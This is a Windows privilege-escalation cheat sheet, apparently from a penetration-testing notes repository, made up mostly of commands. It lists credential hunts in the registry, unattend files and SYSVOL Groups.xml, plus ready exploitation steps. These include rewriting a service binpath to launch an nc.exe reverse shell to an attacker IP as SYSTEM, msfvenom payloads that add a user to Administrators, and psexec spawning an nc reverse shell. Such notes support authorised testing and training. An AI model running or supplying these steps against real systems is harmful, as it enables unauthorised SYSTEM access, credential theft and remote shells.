Windows Priv Escalation

https://github.com/wwong99/windows-privilege-escalation

https://github.com/wwong99/windows-privilege-escalation

Windows

Enumeration

# basics
systeminfo
hostname
echo %username%

# users
net users
net user <username>

# network
ipconfig /all
route print
arp -A
netstat -ano  # active network connections

# firewall status
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule all

# systeminfo output save in a file, check for vulnerabilities
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt 

# Search patches for given patch
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

--------------------------------------
Kernel
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# check for possible exploits, find a place to upload (eg: C:\Inetpub or C:\temp) it, run exe

--------------------------------------
Weak permissions
# this example is for XP SP0
# upload accesschk.exe to a writable directory first 
# for XP version 5.2 of accesschk.exe is needed
https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe 

# check for serices with weak permissions
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# check for the found services above
accesschk.exe -ucqv upnphost
# upload nc.exe to writable directory
sc config upnphost binpath= "C:\Inetpub\nc.exe -nv <attackerip> 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
# check the status now
sc qc upnphost
# change start option as AUTO-START 
sc config SSDPSRV start= auto
#start the services
net start SSDPSRV
net stop upnphost
net start upnphost

# listen on port 9988 and you'll get a shell with NT AUTHORITY\SYSTEM privileges

--------------------------------------

Registry Checks for Passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

--------------------------------------
Places to Check for Credentials

C:\sysprep.inf
C:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
dir /b /s vnc.ini

----------------------------
Groups.xml
# Look up ip-addres of DC
nslookup nameofserver.whatever.local

# It will output something like this
Address:  192.168.1.101

# Now we mount it
net use z: \\192.168.1.101\SYSVOL

# And enter it
z:

# Now we search for the groups.xml file
dir Groups.xml /s

# decrypt the password in it
gpp-decrypt <pass>

-----------------------------

AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
# From the output, notice that “AlwaysInstallElevated” value is 1.

# Exploitation:
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f msi-nouac -o setup.msi
Place 'setup.msi' in 'C:\Temp'
msiexec /quiet /qn /i C:\Temp\setup.msi
net localgroup Administrators

---------------------------------
Find writable files


dir /a-r-d /s /b
/a is to search for attributes. In this case r is read only and d is directory. (look for writable files only)
/s means recurse subdirectories
/b means bare format. Path and filename only.

-----------------------------------
Unquoted Path
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ 
# Suppose we found: C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
# check for permissions of folder path
icacls "C:\Program Files (x86)\Program Folder" 

# exploit
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
#Open command prompt and type: 
sc start unquotedsrvc
net localgroup Administrators

-----------------------------------
# psexec using found credentials
# first upload nc.exe to a writable directory
psexec.exe -u <username> -p <password> \\MACHINENAME C:\Inetpub\nc.exe <attackerip> <attackerport> -e C:\windows\system32\cmd.exe